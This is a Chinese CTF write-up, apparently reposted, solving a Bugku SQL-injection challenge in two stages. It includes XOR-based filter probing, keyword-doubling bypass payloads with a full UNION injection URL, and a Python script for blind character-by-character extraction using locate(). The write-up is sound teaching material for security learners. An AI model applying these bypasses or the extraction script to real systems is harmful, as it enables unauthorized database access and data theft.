Bugku的web题目(多次)的解题

Posted 捏捏nienie

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Bugku的web题目(多次)的解题相关的知识,希望对你有一定的参考价值。


这道题目我弄了好久,最后问了朋友,然后在朋友的帮助下,将flag找到了
这里写一下解题方法,记录一下

一进到这道题,看到了php?id=1,就很熟悉,很有可能是一道sql注入的题目,肯定是要试一下最简单的测试,(哪怕知道不可能是什么都没有过滤)

单引号出错


多加一个%23,发现不出错了


加上’ and 1=1%23
又出错了,可能是过滤了,但是不知道过滤了什么

这里有一个很好的方法知道过滤的是什么
使用异或注入

在id=1后面输入 \'(0)\'
发现不出错,那就将0换成1=1
如果出错,那就是成功了

通过验证是可以的
也就是说,如果括号里面的判断是假的,那么页面就会显示正确
那么同理,如果我修改里面的内容为length(‘union’)!=0
如果页面显示正确,那就证明length(‘union’)是等于0的,也就是union被过滤了

发现确实是这样,那就可以在这里进行判断,看看到底那些函数被过滤了
最后发现union,select,or,and被过滤了
limit,from没有被过滤

尝试绕过过滤,既然union这些都是被过滤掉了
那构造ununionion 一旦union被过滤,删除了,那剩下来的还是union,这样就可以起到作用了

经过测试,用那个方法,确实可以
最终的payload为
http://120.24.86.145:9004/1ndex.php?id=1\' anandd 1=2 uniounionn selecselectt 1,2%23
还是一个回显的

然后测试,找到了一个表为flag1,列名为flag1

出来一串不知道是什么东西的数据
然后就继续查找,因为提示说有2个flag,那就是还有一个
最后在address这个列里面找到一个网址

点击进去发现
这道题还没有做完,前面的只是为了找这个链接……

这里还是一个考注入,那就常规测试一下,加上单引号

出现报错,还是最常见的报错,那就是要%23注析掉了

然后继续测试其他的

1=2出错

1=1正常

Order by 2也正常
一切都好顺利

\' union select 1,2%23
出现了过滤,把union过滤了
用之前的方法绕过

\' uniunionon select 1,2%23
发现把select也吃掉了

那就测试一下看看还有那些函数被过滤了
直接在id后面输入函数就可以知道,因为有回显我们输入的数据

id=1 union select limit from and or where if sleep substr ascii
发现 union sleep substr被过滤了
那就是不能回显,substr也不能用了

我这里用了一个不常用的函数locate()
直接判断查出来的数据里面有那些字符,然后将它们按顺序排序

def user():
    flag =\'\'
    for j in xrange(1, 100):
        temp = \'!@$%^&*()_+=-|}{POIU YTREWQASDFGHJKL:?><MNBVCXZqwertyuiop[];lkjhgfdsazxcvbnm,./1234567890`~\'
        key = 0
        for i in temp:
            url = "http://120.24.86.145:9004/Once_More.php?id=1\'and (select locate(binary\'"+str(i)+"\',(select user()),"+str(j)+"))="+str(j)+"%23"
            r1 = rs.get(url)
            # print url
            if "Hello" in r1.text:
                print str(i)+" -----"+str(j)
                flag += str(i)
                key = 1
        if key ==0:
            print "[*] : " + flag
            break  

完整代码在我的GitHub里面有

GitHub

以上是关于Bugku的web题目(多次)的解题的主要内容,如果未能解决你的问题,请参考以下文章

Bugku——Web——web3

BugKu——Web——source

bugku-writeup-web-源代码

Bugku——Web——web基础$_POST

wecome to bugku 的解题思路

bugku-writeup-web-文件包含